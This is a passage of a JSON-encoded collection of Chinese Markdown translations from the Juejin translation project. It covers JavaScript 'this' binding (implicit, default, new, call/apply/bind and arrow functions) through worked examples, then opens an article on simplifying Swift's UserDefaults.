被调用的。它是一个单独调用吗？当然不是，因此第一个输出到控制台的是对象 _obj_ 。我们传入的回调函数是什么？在 _foo_ 内部，回调函数变为 _fn_ ，注意 _fn_ 是 **如何** 被调用的。对，因此 _fn_ 中的“this”是全局对象，因此第二个被输出到控制台的是全局对象。\n\n希望你不会觉得无聊。顺便问一下，你的分数怎么样？还可以吗？好吧，这次我准备难倒你了。\n\n#### Example #8\n\n```Javascript\nvar arr = [1, 2, 3, 4];\n\nArray.prototype.myCustomFunc = function() {\n console.log(this);\n};\n\narr.myCustomFunc();\n```\n\n如果你还不知道 Javascript 里面的 _.prototype_ 是什么，那你就权且把它和其他对象等同看待，但如果你是 JavaScript 开发者，你应该知道。你知道吗？努努力，再去多读一些关于原型链相关的书籍吧。我在这里等着你。\n\n那么打印输出的是什么？是 _Array.prototype_ 对象？错了！\n\n这是和之前相同的技巧，请检查 _custommyfunc_ 是 **如何** 被调用的。没错，隐式绑定把 _arr_ 绑定到 _myCustomFunc_，因此输出到控制台的是 _arr[1,2,3,4]_。\n\n我说的，你理解了吗？\n\n#### Example #9\n\n```Javascript\nvar arr = [1, 2, 3, 4];\n\narr.forEach(function() {  \n console.log(this);  \n});\n```\n\n执行上述代码的结果是，在控制台中输出了 4 次全局对象。如果你错了，也没关系。请再看示例#7。还没理解？下一个示例会有所帮助。\n\n#### Example #10\n\n```Javascript\nvar arr = [1, 2, 3, 4];\n\nArray.prototype.myCustomFunc = function(fn) {  \n console.log(this);  \n fn();  \n};\n\narr.myCustomFunc(function() {  \n console.log(this);   \n});\n```\n\n就像示例 #7 一样，我们将回调函数 _fn_ 作为参数传递给函数 _myCustomFunc_。结果是传入的函数会被独立调用。这就是为什么在前面的示例（#9）中输出全局对象，因为在 forEach 中传入的回调函数被独立调用。\n\n类似地，在本例中，首先输出到控制台的是 _arr_，然后是输出的是全局对象。我知道这看上去有点复杂，但我相信如果你能再多用点心，你会弄明白的。\n\n让我们继续使用这个数组的示例来介绍更多的概念。我想我会在这里使用一个简称，WGL 怎么样？作为 WHAT.GETS.LOGGED 的简称？好吧，在我开始老生常谈之前，下面是另外一个例子。\n\n#### Example #11\n\n```Javascript\nvar arr = [1, 2, 3, 4];\n\nArray.prototype.myCustomFunc = function() {  \n console.log(this);\n\n(function() {  \n console.log(this);  \n })();\n\n};\n\narr.myCustomFunc();\n```\n\n那么，输出是？\n\n答案和示例 #10 完全一样。轮到你了，说一说为什么首先输出的是 _arr_？你看到第一个 _console.log(this)_ 的下面有一段复杂的代码，它被称为 IIFE（立即调用的函数表达式）。这个名字不用再过多解释了，对吧？被 **(…)();** 这样形式封装的函数会立即被调用，也就是说等同于被独立调用，因此它内部的“this”是全局变量，所以输出的是全局变量。\n\n要来新概念了！让我们看看你对 ES2015 的熟悉程度。\n\n#### Example #12\n\n```Javascript\nvar arr = [1, 2, 3, 4];\n\nArray.prototype.myCustomFunc = function() {  \n console.log(this);\n\n (function() {  \n  console.log(‘Normal this : ‘, this);  \n })();\n\n (() => {  \n  console.log(‘Arrow function this : ‘, this);  \n })();\n\n};\n\narr.myCustomFunc();\n```\n\n除了 IIFE 后面的增加了 3 行代码之外，其他代码与示例 #11 完全相同。它实际上也是一种 IIFE，只是语法稍有不同。嗨，这是箭头函数。\n\n箭头函数的意思是，这些函数中的“this”是一个词法变量。也就是说，当将“this”与这种箭头函数绑定时，函数会从包裹它的函数或作用域中获取“this”的值。包裹我们这个箭头函数的函数里面的“this”是 _arr_。因此？\n\n```Javascript\n// This is WGL\narr [1, 2, 3, 4]\nNormal this : global\nArrow function this : arr [1, 2, 3, 4]\n```\n\n如果我用箭头函数重写示例 #9 会怎么样？控制台输出什么呢？\n\n```Javascript\nvar arr = [1, 2, 3, 4];\n\narr.forEach(() => {\n console.log(this);\n});\n```\n\n上面的这个例子是额外追加的，所以即使你猜对了也不用增加分数。你还在算分吗？书呆子。\n\n现在请仔细关注以下示例。我会不惜一切代价让你弄懂他们 :-)。\n\n#### Example #13\n\n```Javascript\nvar yearlyExpense = {\n\n year: 2016,\n\n expenses: [\n   {‘month’: ‘January’, amount: 1000}, \n   {‘month’: ‘February’, amount: 2000}, \n   {‘month’: ‘March’, amount: 3000}\n  ],\n\n printExpenses: function() {\n  this.expenses.forEach(function(expense) {\n   console.log(expense.amount + ‘ spent in ‘ + expense.month + ‘, ‘ +    this.year);\n   });\n  }\n\n};\n\nyearlyExpense.printExpenses();\n```\n\n那么,输出是？多点时间想一想。\n\n这是答案，但我希望你在阅读解释之前先自己想想。\n\n```Javascript\n1000 spent in January, undefined  \n2000 spent in February, undefined  \n3000 spent in March, undefined\n```\n\n这都是关于 _printExpenses_ 函数的。首先注意下它是如何被调用的。隐式绑定？是的。所以 _printExpenses_ 中的“this”指向的是对象 _yearlycost_。这意味着 _this.expenses_ 是 _yearlyExpense_ 对象中的 _expenses_ 数组，所以这里没有问题。现在，当它在传递给 forEach 的回调函数中出现“this”时，它当然是全局对象，请参考例 #9。\n\n注意，下面的“修正”版本是如何使用箭头函数进行改进的。\n\n```Javascript\nvar expense = {\n\n year: 2016,\n\n expenses: [\n   {‘month’: ‘January’, amount: 1000}, \n   {‘month’: ‘February’, amount: 2000}, \n   {‘month’: ‘March’, amount: 3000}\n  ],\n\n printExpenses: function() {\n   this.expenses.forEach((expense) => {\n    console.log(expense.amount + ‘ spent in ‘ + expense.month + ‘, ‘ +  this.year);\n   });\n  }\n\n};\n\nexpense.printExpenses();\n```\n\n这样我们就得到了想要的输出结果：\n\n```Javascript\n1000 spent in January, 2016  \n2000 spent in February, 2016  \n3000 spent in March, 2016\n```\n\n到目前为止，我们已经熟悉了隐式绑定和默认绑定。我们现在知道函数被调用的方式决定了它里面的“this”。我们还简要地讲了箭头函数以及它们内部的“this”是怎样定义的。\n\n在我们讨论其他规则之前，你应该知道，有些情况下，我们的“this”可能会丢失隐式绑定。让我们快速地看一下这些例子。\n\n#### Example #14\n\n```Javascript\nvar obj = {  \n a: 2,  \n foo: function() {  \n  console.log(this);  \n }  \n};\n\nobj.foo();\n\nvar bar = obj.foo;  \nbar();\n```\n\n不要被这里面的花哨代码所分心，只需注意函数是如何被调用的，就可以弄明白“this”的含义。你现在一定已经掌握这个技巧了吧。首先 _obj.foo()_ 被调用，因为 _foo_ 前面有一个对象引用，所以首先输出的是对象 _obj_。_bar_ 当然是被独立调用的，因此下一个输出是全局变量。提醒你一下，记住在严格模式下，全局对象是不会默认绑定的，因此如果你在开启了严格模式，那么控制台输出的就是 undefined，而不再是全局变量。\n\nbar 和 foo 是对同一个函数的引用，唯一区别是它们被调用的方式不同。\n\n#### Example #15\n\n```Javascript\nvar obj = {  \n a: 2,  \n foo: function() {  \n  console.log(this.a);  \n }  \n};\n\nfunction doFoo(fn) {  \n fn();  \n}\n\ndoFoo(obj.foo);\n```\n\n这里也没什么特别的。我们是通过把 _obj.foo_ 作为 _doFoo_ 函数的参数（doFoo 这个名字听起来很有趣）。同样， _fn_ 和 _foo_ 是对同一个函数的引用。现在我要重复同样的分析过程， _fn_ 被独立调用，因此 _fn_ 中的“this”是全局对象。而全局对象没有属性 _a_，因此我们在控制台中得到了 undifined 的输出结果。\n\n到这里，我们这部分就讲完了。在这一部分中，我们讨论了将“this”绑定到函数的两个规则。默认绑定和隐式绑定。我们研究了如何使用“use strict”来影响全局对象的绑定，以及如何会让隐式绑定的“this”失效。我希望在接下来的第二部分中，你会发现本文对你有所帮助，在那里我们将介绍一些新规则，包括 _new_ 和显式绑定。那里再见吧！\n\n\n* * *\n\n\n在我们结束之前，我想用一个“简单”的例子来作为这一部分的收尾，当我开始使用 Javascript 时，这个例子曾经让我感到非常震惊。Javascript 里面也并不是所有的东西都是美的，也有看起来很糟糕的东西。让我们看看其中的一个。\n\n```Javascript\nvar obj = {  \n a: 2,  \n b: this.a * 2  \n};\n\nconsole.log( obj.b ); // NaN\n```\n\n它读起来感觉很好，在 _obj_ 里面，“this”应该是 _obj_，因此是 _this.a_ 应该是 2。嗯,错了。因为在这个对象里面的“this”是全局对象，所以如果你像这么写…\n\n```Javascript\nvar myObj = {  \n a: 2,  \n b: this  \n};\n\nconsole.log(myObj.b); // global\n```\n\n控制台输出的就是全局对象。你可能会说“但是，myObj 是全局对象的属性（示例 #4 和示例 #8），不对吗？”是的，绝对正确。\n\n```Javascript\nconsole.log( this === myObj.b ); // true   \nconsole.log( this.hasOwnProperty(‘myObj’) ); //true\n```\n\n“也就是说，如果我像这样写的话，它就可以！”\n\n```Javascript\nvar myObj = {  \n a: 2,  \n b: this.myObj.a * 2  \n};\n```\n\n遗憾的是，不是这样的，这会导致逻辑错误。上面的代码是不正确的，编译器会抱怨它找不到未定义的属性 _a_。[为什么会这样？](http://stackoverflow.com/questions/4616202/self-reference-in-object-literations/10766107#10766107)我也不太清楚。\n\n幸运的是，getters（隐式绑定）可以给我们提供帮助。\n\n```Javascript\nvar myObj = {  \n a: 2,  \n get b() {  \n  return this.a * 2  \n }  \n};\n\nconsole.log( myObj.b ); // 4\n```\n\n你坚持到最后了！做得好。[第二部分](https://github.com/xitu/gold-miner/blob/master/todo1/lets-setts-this-part-two.md)，我们再见。\n\n如果你发现这篇文章很有用，你可以推荐并分享给其他开发者。我经常发表文章，在 [Twitter](http://twitter.com/NashVail) 和 [Medium](http://medium.com/@nashvail) 上关注我，以便在这种情况发生时得到通知。\n\n谢谢你的阅读，祝你愉快！\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n\n"
  },
  {
    "path": "TODO1/lets-settle-this-part-two.md",
    "content": "> * 原文地址：[Let’s settle ‘this’ — Part Two](https://medium.com/@nashvail/lets-settle-this-part-two-2d68e6cb7dba)\n> * 原文作者：[Nash Vail](https://medium.com/@nashvail?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/lets-settle-this-part-two.md](https://github.com/xitu/gold-miner/blob/master/TODO1/lets-settle-this-part-two.md)\n> * 译者：[geniusq1981](https://github.com/geniusq1981)\n> * 校对者：[Moonliujk](https://github.com/Moonliujk)、[coconilu](https://github.com/coconilu)\n\n# 让我们一起解决“this”难题 — 第二部分\n\n嗨！欢迎来到让我们一起解决“this”难题的第二部分，我们试图揭开 JavaScript 中最难让人理解的一部分内容 - “this”关键字的神秘面纱。如果您还没有读过 [第一部分](https://github.com/xitu/gold-miner/blob/master/TODO1/lets-settle-this-part-one.md)，你需要先把它读一下。在第一部分中，我们通过 15 个示例介绍了默认绑定规则和隐式绑定规则。我们了解了函数内部的“this”如何随着函数调用方式的不同而发生改变。最后，我们也介绍了箭头函数以及它是如何进行词法绑定。我希望你能记住这一切。\n\n在这一部分我们将讨论两个新规则，从 _new_ 绑定开始，我们将深入地分析这一切是如何工作的。接下来，我们将介绍显式绑定以及如何通过　call(...)，apply(...) 和　bind(...) 方法将任意对象绑定到函数内部的“this”上。\n\n让我们接着之前的内容继续。你的任务还是一样，继续猜一下控制台的输出内容是什么。还记得 WGL 吗？\n\n不过，在深入之前，先让我们通过一个例子来热热身。\n\n#### Example #16\n\n```Javascript\nfunction foo() {}\n\nfoo.a = 2;\nfoo.bar = {\n b: 3,\n c: function() {\n  console.log(this);\n } \n}\n\nfoo.bar.c();\n```\n\n我知道，现在你可能会想“到底发生了什么？为什么在这里将属性分配给函数？这不会导致错误吗？”好吧，首先，这不会导致错误。JavaScript 中的每个函数也都是一个对象。就像其他普通的对象一样，你也可以为函数指定属性！\n\n接下来，让我们弄清楚控制台会输出什么。如果您注意下，你会发现隐式绑定在此处起作用。_c_ 调用之前的对象是 _bar_，对吗？因此 _c_ 中的“this”指向的是 _bar_，因此 _bar_ 被输出到控制台中。\n\n通过这个示例，你可以知道，JavaScript 中的函数也是对象，就像任何其他对象一样，它们可以被赋予属性。\n\n#### Example #17\n\n```Javascript\nfunction foo() {\n console.log(this);\n}\n\nnew foo();\n```\n\n那么，输出什么？还是根本没有输出？\n\n正确答案是一个空对象。是的，不是 _a_，也不是 _foo_，只是一个空对象。让我们看看它是如何工作的。\n\n首先要注意，函数 **如何** 被调用。它不是一个独立调用，它的前面也没有对象引用。它的前面只有一个 _new_。在 Javascript 中可以通过 _new_ 关键字来引入任意函数。当这样做的时候，使 _new_ 引入一个函数时，大致会发生四件事情，其中两个是，\n\n 1. 创建一个空对象。\n 2. 新创建的对象被绑定到函数调用的“this”上。\n\n第二点正是你执行上面的代码时控制台输出一个空对象的原因。你可能会问“这能有什么用？”。我们会发现这里有些小争议。\n\n#### Example #18\n\n```Javascript\nfunction foo(id, name) {\n this.id = id;\n this.name = name;\n}\n\nfoo.prototype.print = function() {\n console.log( this.id, this.name );\n};\n\nvar a = new foo(1, ‘A’);\nvar b = new foo(2, ‘B’);\n\na.print();\nb.print();\n```\n\n直观地说，在这个例子中很容易就能猜到控制台上输出什么，但是从技术角度你知道真正的原理吗？让我们来看看。\n\n来回顾一下，当使用 _new_ 关键字调用函数时，会发生四个事件。\n\n 1. 创建一个空对象。\n 2. 新创建的对象被绑定到函数调用的“this”上。\n 3. **新创建对象的原型链指向函数的原型对象。**\n 4. **函数被正常执行，最后返回新创建的对象。**\n\n在前面的例子中我们已经验证了前两个事情，这就是我们会在控制台中输出空对象的原因。先忘掉第三点，让我们聚焦在第四点上。没有什么可以阻止函数的执行，除了函数内部的“this”是新创建的空对象之外，传参后函数的执行过程与其他正常的 Javascript 函数一样。因此，这个例子中的 _foo_，在它里面我们执行类似 _this.id=id_　的操作时，**我们实际上是将属性分配给了在调用函数时绑定到“this”上的新创建的空对象**。再读一遍这句话。一旦函数执行完成，**就会返回这个刚被创建的对象**。由于在上面的示例中我们为返回的对象分配了 _id_ 和 _name_ 属性，所以这个返回的对象也会拥有这些属性。然后我们可以将返回的对象赋值给我们想要的任何变量，就像我们上面示例中的 a 和 b。\n\n每个使用 _new_ 关键字的函数调用都会创建一个全新的空对象，在函数内部配置对象的参数属性 _(_this.propName = …)_　在函数执行完毕后返回这个对象。\n\n```Javascript\nvar a = {\n id: 1,\n name: ‘A’\n};\n\nvar b = {\n id: 2,\n name: ‘B’\n};\n```\n\n太棒了！我们刚刚学会了创建对象的新方法。但是 _a_　和 _b_　有一些共同点，它们都是 **原型链指向 foo 的原型对象**（事件 4），因此可以访问它们的属性（变量，函数等等）。正因为如此，我们可以调用 _a.print()_ 和 _b.print()_，因为 _print_ 是我们在 _foo_ 原型链上创建的函数。快速的问一个问题，当我调用 _a.print()_ 时会发生什么绑定？如果你说发生了隐性绑定，那你就答对了。因此，在调用 _a.print()_ 时，_print_ 里面的“this”指向的就是 _a_，并且控制台上首先输出的是 _1,A_，同样当我们调用 _b.print()_ 时，会输出 _2,B_。\n\n#### Example #19\n\n```Javascript\nfunction foo(id, name) {\n this.id = id;\n this.name = name;\n\n return {\n  message: ‘Got you!’\n };\n}\n\nfoo.prototype.print = function() {\n console.log( this.id, this.name );\n};\n\nvar a = new foo(1, ‘A’);\nvar b = new foo(2, ‘B’);\n\nconsole.log( a );\nconsole.log( b );\n```\n\n几乎与上一个示例中的代码完全相同，除了请注意，_foo_ 函数现在返回的是一个对象。好吧，让我们返回上一个例子，重读一下第四点，怎么样？注意加粗的内容了吗？当使用 _new_ 关键字调用函数时，在执行结束时将返回新创建的对象，**除非**你返回自定义对象，就像我们在这个示例中所做的这样。\n\n所以？输出的什么？很明显，它返回自定义对象，具有 _message_ 属性的这个对象会在控制台中输出，输出两次。如此容易就打破了整个结构，是不是？只返回了一个没有意义的对象，一切就完全改变了。此外，你现在无法调用 _a.print()_ 或 _b.print()_，因为 _a_ 和 _b_ 被分配了返回的对象，但返回的对象没有链接到 _foo_ 的原型链。\n\n但等一下，如果不返回一个对象，我们返回比如 _'abc'_、数字、布尔值、函数、nullundefined 或是数组，结果会怎样？事实证明，构造对象是否会改变取决于你返回的内容。看看下面的模式？\n\n```Javascript\nreturn {}; // 改变\nreturn function() {}; // 改变\nreturn new Number(3); // 改变\nreturn [1, 2, 3]; // 改变\nreturn null; // 不改变\nreturn undefined; // 不改变\nreturn ‘Hello’; // 不改变\nreturn 3; // 不改变\n...\n```\n\n为什么会这样呢，这就是另外一篇文章的主题了。我的意思是我们已经离题有点远了，这个例子与“this”绑定没太大关系，对吗？\n\n在 Javascript 中，从很久之前就开始通过使用 _new_ 关键字绑定来创建完整的对象（也许是一种误用），以此来伪造传统的类。实际上，在 JavaScript 中没有类的概念，ES2015 中新的 _class_ 语法只是一个语法。在它的后面还是使用 _new_ 绑定，没有任何变化。我一点都不关心你是否使用 _new_ 绑定伪造类，只要你的程序工作正常，代码是可扩展，可读和可维护的，就没有问题。但是，由于 _new_ 绑定带来的不稳定性，你如何能够确保所有代码包都拥有可扩展，可读和可维护的代码呢？\n\n可能这里还涉及很多内容。如果你还有点迷茫，你应该再重新阅读一下。重要的是如果你了解了 _new_ 绑定的工作原理，可能永远都不会再使用它 ：）。\n\n不开玩笑，让我们继续。\n\n思考以下的代码。不用猜测这个例子会输出什么，我们将从下个例子开始继续“猜谜游戏” :)。\n\n```Javascript\nvar expenses = {\n data: [1, 2, 3, 4, 5],\n total: function(earnings) {\n  return this.data.reduce( (prev, cur) => prev + cur ) - (earnings || 0);\n }\n};\n\nvar rents = {\n data: [1, 2, 3, 4]\n};\n```\n\n_expenses_ 对象具有 _data_ 和 _total_ 两个属性。_data_ 包含一些数字，而 _total_ 是一个函数，它将 _earnings_ 作为输入参数并返回 _data_ 中所有数字的总和减去 _earnings_。非常直观。\n\n现在看一下 _rents_，就像 _expenses_ 一样，它也有 _data_ 属性。这样说，出于某种原因，这只是个假设，你想基于 _rent_ 的 _data_ 数组运行 _total_ 函数，因为我们是优秀的程序员，我们不喜欢重复工作。我们绝对无法调用 _rents.total()_，也无法把 _rents_ 的“this”隐式绑定为 _total_，因为 _rents.total()_ 是一个无效的调用，因为 _rents_ 没有名为 _total_ 的属性。现在有没有一种方法可以将 _rents_ 的“this”绑定为 _total_ 函数。好吧，猜猜是什么？是有的，请允许我介绍 _call()_ 和 _apply()_。\n\n你可以看到 _call_ 和 _apply_ 做了同样的事情，它们允许你将你想要的对象绑定到你想要的功能上。这意味着我可以做到这一点……\n\n```Javascript\nconsole.log( expenses.total.call(rents) ); // 10\n```\n\n还有这个。\n\n```Javascript\nconsole.log( expenses.total.apply(rents) ); // 10\n```\n\n这很棒！上面的两行代码都会导致 _total_ 函数被调用，而内部的“this”被绑定为 _rents_ 对象。_call_ 和 _apply_ 两个方法就“this”绑定而言，只有传递参数的方式不同。\n\n注意，_total_ 函数有一个参数 _earnings_，让我们传一下参数试试。\n\n```Javascript\nconsole.log( expenses.total.call(rents, 10) ); // 0 正常！\nconsole.log( expenses.total.apply(rents, 10) ); // 报错\n```\n\n使用 _call_ 给目标函数（在我们的例子中是 _total_ ）传递参数很简单，像给其他普通函数传递参数一样，你只需传入一个由逗号隔开的参数列表 _.call(customThis, arg1, arg2, arg3…)_。在上面的代码我们传入了 10 作为 _earnings_ 参数，一切正常。\n\n而 _apply_ 要求你将参数传递给目标函数（在我们的例子中是 _total_）时，将参数包装在一个数组里 _.apply(customThis，[arg1，arg2，arg3 ...])_ 你应该注意到了，上面的代码中我们没有这样传入参数，所以会发生错误。把参数封装成一个数组，然后再传入，就不会报错了。就像下面这样。\n\n```Javascript\nconsole.log( expenses.total.apply(rents, [10]) ); // 0 正常！\n```\n\n我过去曾经总结了一个助记符就是通过上面说的这点差别来记住 _call_ 和 _apply_ 之间的区别的。A 代表 _**a**pply_ ，A 也代表 _**a**rray_ ！所以通过 _**a**pply_ 把参数传给目标函数时，需要把参数封装成 _**a**rray_ 。这只是一个简单的小助记符，但它确实很有用。\n\n现在如果我们传入一个数字，或一个字符串，或一个布尔值，或 null/undefined，而不是传入一个对象来调用 _**call**，**apply**_ 和 _**bind**_ （接下来讨论）。那样会发生什么？没有什么特别，比如你给“this”传入数字 2， 它在对象内被封装成对象形式 _new Number(2)_ ，同样如果你传入一个字符串，它会变成 _new String(...)_ ，布尔值会变成 _new Boolean(...)_ 等等，这个新对象，不管是字符，还是数字或是布尔值都被绑定到被调用函数的“this”。传入 _null_ 和 _undefined_ 的结果会有点不同。如果调用函数时为“this”传入 _null_ 或 _undefined_ ，那它就好像进行了默认绑定一样，那意味着全局对象被绑定在被调用函数的“this”上。\n\n还有另一种方法将'this'绑定到一个函数，这次通过一个方法名叫，等等，_bind_！\n\n让我们看看你是否可以解决这个问题。下面的示例会输出什么？\n\n#### Example #2\n\n```Javascript\nvar expenses = {\n data: [1, 2, 3, 4, 5],\n total: function(earnings) {\n  return this.data.reduce( (prev, cur) => prev + cur ) - (earnings   || 0);\n }\n};\n\nvar rents = {\n data: [1, 2, 3, 4]\n};\n\nvar rentsTotal = expenses.total.bind(rents);\n\nconsole.log(rentsTotal());\nconsole.log(rentsTotal(10));\n```\n\n这个例子的答案是 10 后跟着输出 0。注意 _rents_ 对象声明下面发生了什么。我们从函数 _expenses.total_ 创建一个新函数 _rentsTotal_ 。这里 _bind_ 创建一个新函数，当这个函数被调用时，它的“this”关键字设置为提供的值（在我们的例子中是 _rents_ ）。因此，当我们调用 _rentsTotal()_ 时，虽然它是一个独立的调用，但它的“this”已指向了 _rents_ ，而默认绑定无法覆盖它。这次调用会在控制台输入 10。\n\n在下一行中，使用参数（10）调用 _rentsTotal_ 与使用相同的参数（10）调用 _expenses.total_ 完全相同，它只是“this”中的值不同。这次调用的结果为 0。\n\n另外，你也可以使用 _bind_ 绑定参数给目标函数（在我们的例子中是 _expenses.total_）。思考下这个。\n\n```Javascript\nvar rentsTotal = expenses.total.bind(rents, 10);\nconsole.log(rentsTotal());\n```\n\n你认为控制台输出什么？当然是 0，因为 10 已通过 _bind_ 绑定到目标函数（_expenses.total_）作为 _earnings_ 参数。\n\n让我们看一个例子，它可以说明 _bind_ 生命周期。\n\n#### Example #21\n\n```Javascript\n// HTML\n\n<button id=”button”>Hello</button>\n\n// JavaScript\n\nvar myButton = {\n elem: document.getElementById(‘button’),\n buttonName: ‘My Precious Button’,\n init: function() {\n  this.elem.addEventListener(‘click’, this.onClick);\n },\n onClick: function() {\n  console.log(this.buttonName);\n }\n};\n\nmyButton.init();\n```\n\n我们已经在 HTML 中创建了一个按钮，然后我们在 Javascript 代码中，将这个按钮定义为 _myButton_ 。注意，在 _init_ 中，我们还为按钮上添加了一个鼠标点击的事件监听。你现在的问题是当点击按钮的时候，控制台会输出什么？\n\n如果您猜对了，被打印出来的就是 _undefined_ 。这种“奇怪的结果”的原因是作为事件监听的回调（在我们的例子中是 _this.onClick_），它会把目标元素绑定在“this”上。这意味着，当 _onClick_ 被调用时，它内部的“this”是按钮的 DOM 对象（_elem_），而不是我们的 _myButton_ 对象，因为按钮的 DOM 对象没有 _buttonName_ 的属性，所以控制台输出 _undefined_。\n\n但是有办法解决这个问题（双关语）。我们需要做的就是添加一行代码，仅需一行代码。\n\n#### 方案 #1\n\n```Javascript\nvar myButton = {\n elem: document.getElementById(‘button’),\n buttonName: ‘My Precious Button’,\n init: function() {\n  this.onClick = this.onClick.bind(this);\n  this.elem.addEventListener(‘click’, this.onClick);\n },\n onClick: function() {\n  console.log(this.buttonName);\n }\n};\n```\n\n注意上面的代码片段（#21）中调用函数 _init_ 的方式。确切地说，隐式绑定将 _myButton_ 绑定到 _init_ 函数的“this”上。现在注意，我们新加的代码行是如何把 _myButton_ 绑定到 _onClick_ 函数。这样做会创建一个新的函数，除了它内部的“this”指向了 _myButton_，其他就和 _onClick_ 完全一样。然后新创建的函数被重新分配给 _myButton.onClick_。这就是全部操作，当你点击按钮时，你将看到控制台上输出“My Precious Button”。\n\n你也可以通过箭头函数来修复代码。就是这样。我将把这个问题留给你，让你思考一下这为什么可以。\n\n#### 方案 #2\n\n```Javascript\nvar myButton = {\n elem: document.getElementById(‘button’),\n buttonName: ‘My Precious Button’,\n init: function() {\n  this.elem.addEventListener(‘click’, () => {\n   this.onClick.call(this);\n  });\n },\n onClick: function() {\n console.log(this.buttonName);\n }\n};\n```\n\n#### 方案 #3\n\n```Javascript\nvar myButton = {\n elem: document.getElementById(‘button’),\n buttonName: ‘My Precious Button’,\n init: function() {\n  this.elem.addEventListener(‘click’, () => {\n   console.log(this.buttonName);\n  });\n }\n};\n```\n\n好了。我们差不多就要结束了。还有一些问题，比如绑定是否有优先顺序？如果两个规则都试图将“this”绑定到同一个函数，这样的冲突该怎么办？这是另一篇文章的主题了。第3部分？可能吧，但是老实说，你很少会遇到这样的冲突。所以现在我们已经全部讲完了，让我们总结一下我们在这两部分学到的东西。\n\n#### 总结\n\n在第一部分中，我们看到函数的“this”是如何变化的，并且如何根据函数的调用方式而改变。我们讨论了默认绑定规则，它适用于函数的独立调用，而隐式绑定规则适用于调用函数时，前面有一个对象引用和箭头函数，以及它们如何使用词法绑定。在第一部分的结尾处，我们还快速的介绍了在 JavaScript 对象中进行自调用。\n\n在第二部分，我们从 _new_ 绑定开始，并讨论它是如何工作以及如何能够轻松地破坏整个结构。这一部分的后半部分致力于使用 _call_ ，_apply_ 和 _bind_ 显式地将'this'绑定到函数。我还略显尴尬地与你分享了关于如何记住 _call_ 和 _apply_ 之间差异的助记符。希望你能记住它。\n\n#### 这篇文章很长。非常感谢你能一直读完。我希望这篇文章能让你学到些东西。如果觉得还不错，也请把这篇文章推荐给其他人吧。祝你一天都有好心情！\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/lets-simplify-the-work-with-userdefaults.md",
    "content": "> * 原文地址：[Let’s Simplify the Work with UserDefaults](https://medium.com/rosberryapps/lets-simplify-the-work-with-userdefaults-93d142d47741)\n> * 原文作者：[Nikita Ermolenko](https://medium.com/@otbivnoe?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/lets-simplify-the-work-with-userdefaults.md](https://github.com/xitu/gold-miner/blob/master/TODO1/lets-simplify-the-work-with-userdefaults.md)\n> * 译者：[talisk](https://github.com/talisk)\n> * 校对者：[allen](https://github.com/allenlongbaobao)，[stormluke](https://github.com/stormluke)\n\n# 让我们来简化 UserDefaults 的使用\n\n![](https://cdn-images-1.medium.com/max/2000/1*7Zy2OC1nxK-BqmDbGxtPDg.png)\n\n每个人都用 _UserDefaults_ 来存储一些简单的数据，并且知道使用该存储很容易。但是今天我会改善一点它的交互性！让我们从最明显的解决方案开始，并实现一些新颖且优雅的东西。😌\n\n想象一下我们有一个服务 —— SettingsService。这个服务掌握了应用的设置 —— 正在使用哪个主题（黑暗，明亮），是否启用通知等等。为了实现它，大多数开发人员会首先考虑 _UserDefaults_。 当然，用哪种方式取决于具体情况，但先让我们来简化 _UserDefaults_。\n\n1. 我们的第一个最简方案\n\n```\nclass SettingsService {\n\n    private enum Keys {\n        static let isNotificationsEnabled = \"isNotificationsEnabled\"\n    }\n\n    var isNotificationsEnabled: Bool {\n        get {\n            let isEnabled = UserDefaults.standard.value(forKey: Keys.isNotificationsEnabled) as? Bool\n            return isEnabled ?? true\n        }\n        set {\n            UserDefaults.standard.setValue(newValue, forKey: Keys.isNotificationsEnabled)\n        }\n    }\n}\n```\n\n为了简单化，我直接使用 `UserDefaults.standard`，但在一个真实项目中，你最好把它存到一个 property 中，并使用依赖注入。\n\n2. 下一步，我想要摆脱 _Keys_ 枚举——使用 `#function` 来代替：\n\n```\nclass SettingsService {\n\n    var isNotificationsEnabled: Bool {\n        get {\n            let isEnabled = UserDefaults.standard.value(forKey: #function) as? Bool\n            return isEnabled ?? true\n        }\n        set {\n            UserDefaults.standard.setValue(newValue, forKey: #function)\n        }\n    }\n}\n```\n\n看，怎么样！让我们继续：）\n\n3. 下标时间！我们刚刚把 `value(forKey:)` 